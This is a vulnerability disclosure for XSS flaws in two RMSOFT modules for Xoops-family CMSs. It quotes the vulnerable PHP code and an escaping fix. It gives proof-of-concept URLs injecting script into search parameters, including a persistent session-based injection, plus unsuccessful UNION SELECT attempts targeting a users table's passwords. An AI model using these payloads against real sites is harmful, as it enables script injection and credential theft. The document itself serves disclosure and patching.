RMSOFT Downloads Plus is a download php/Mysql script
module for multiple CMS Systems like Xoops,e-xoops,bcoos and
impressCMS and probably in all CMS based in Xoops code.

RMSOFT Downloads Plus contains a flaw that allows a remote
cross site scripting attack.This flaw exists because
the application does not validate 'key' variable upon
submission to search.php script and 'id' variable upon
submision to down.php script in module. This could allow
a user to create a specially crafted URL that would execute
arbitrary code in a user's browser within the trust
relationship between the browser and the server,
leading loss ofintegrity.

RMSOFT MiniShop is a E-commerce php/Mysql script module
for multiple CMS Systems like Xoops,e-xoops,bcoos and
impressCMS and probably in all CMS based in Xoops code.




RMSOFT MiniShop contains a flaw that allows a remote
cross site scripting attack.This flaw exists because
the application does not validate multiple variable upon
submission to 'search.php' script in RMSOFT MiniShop module.
This could allow a user to create a specially crafted URL
that would execute arbitrary code in a user's browser within
the trust relationship between the browser and the server,
leading loss ofintegrity.

RMSOFT MiniShop 1.0

it affects This type CMS Systems if we
have instaled this module:

Xoops
e-xoops
ImpressCMS
Bcoos

and other that uses xoops code and this module.

###################
Solution
###################

At this moment ,no have solution...



###################
Proof of Concept.
###################

#############
XSS
#############

vulnerable code key & idc variables in lines 35 & 36 in search.php

$key = isset($_GET['key']) ? $_GET['key'] : (isset($_POST['key']) ? $_POST['key'] : '');
$idc = isset($_GET['idc']) ? $_GET['idc'] : (isset($_POST['idc']) ? $_POST['idc'] : '');

to fix change to:

$key = isset($_GET['key']) ? htmlspecialchars($_GET['key']) : (isset($_POST['key']) ? htmlspecialchars($_POST['key']) : '');

$idc = isset($_GET['idc']) ? htmlspecialchars($_GET['idc']) : (isset($_POST['idc']) ? htmlspecialchars($_POST['idc']) : '');

vulnerable code itemsxpag variable in lines 56 to 67 in search.php :

//NUmero de resultados por página
if (isset($_GET['itemsxpag'])){
//setcookie('itemsxpag', $_GET['itemsxpag'], 86400);
$_SESSION['itemsxpag'] = $_GET['itemsxpag'];
$limit = $_GET['itemsxpag'];} else {
$limit = $_SESSION['itemsxpag'];
}if ($limit <= 0){
$limit = $xoopsModuleConfig['cols'] * 3;
$_SESSION['itemsxpag'] = $limit;}


exploit all tree variables:

http://localhost/impresscms/htdocs/modules/rmms/search.php?itemsxpag=4
"><script>alert(1)</script>&Submit=Go%21&idc=0
"><script>alert(2)</script>
&key="><script>alert(3)</script>

This is a persistent script insercion in 'itemsxpag' variable because the value
of the variable is inserted directly in '$_SESION' & '$Limit' variables.:

http://localhost/impresscms/htdocs/modules/rmms/search.php?
itemsxpag=12"><script>alert(1)</script>&Submit=Go%21&idc=
&key=lalalalalala

try to navigate to index and go again to minishop module
and try to search something in the search box of module.
Wen show the results the script executed before is
executed again.


#####################
Posible SQL Injection
#####################

wen exploit in the example of script insercion
if we look web down we have a SQL Error:

You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\">' at line 2

we can try to inject some SQL code like
http://localhost/impresscms/htdocs/modules/rmms/search.php?
itemsxpag=-1/**/union/**/select/**/pass/**/form/**/x21101_users
/**/LIMIT/**/1&idc=0&key=aaa

http://localhost/impresscms/htdocs/modules/rmms/search.php?
itemsxpag=28+UNION+SELECT+pass+FROM+x21101_users+LIMIT+1
&Submit=Go%21&idc=&key=aaaaaa

and we get this error Incorrect usage of UNION and ORDER BY...

we think in a classic SQL error , but i make several test with
union select and concat , etc etc and don´t have a working exploit
..them this is a unknow impact , and need to patch
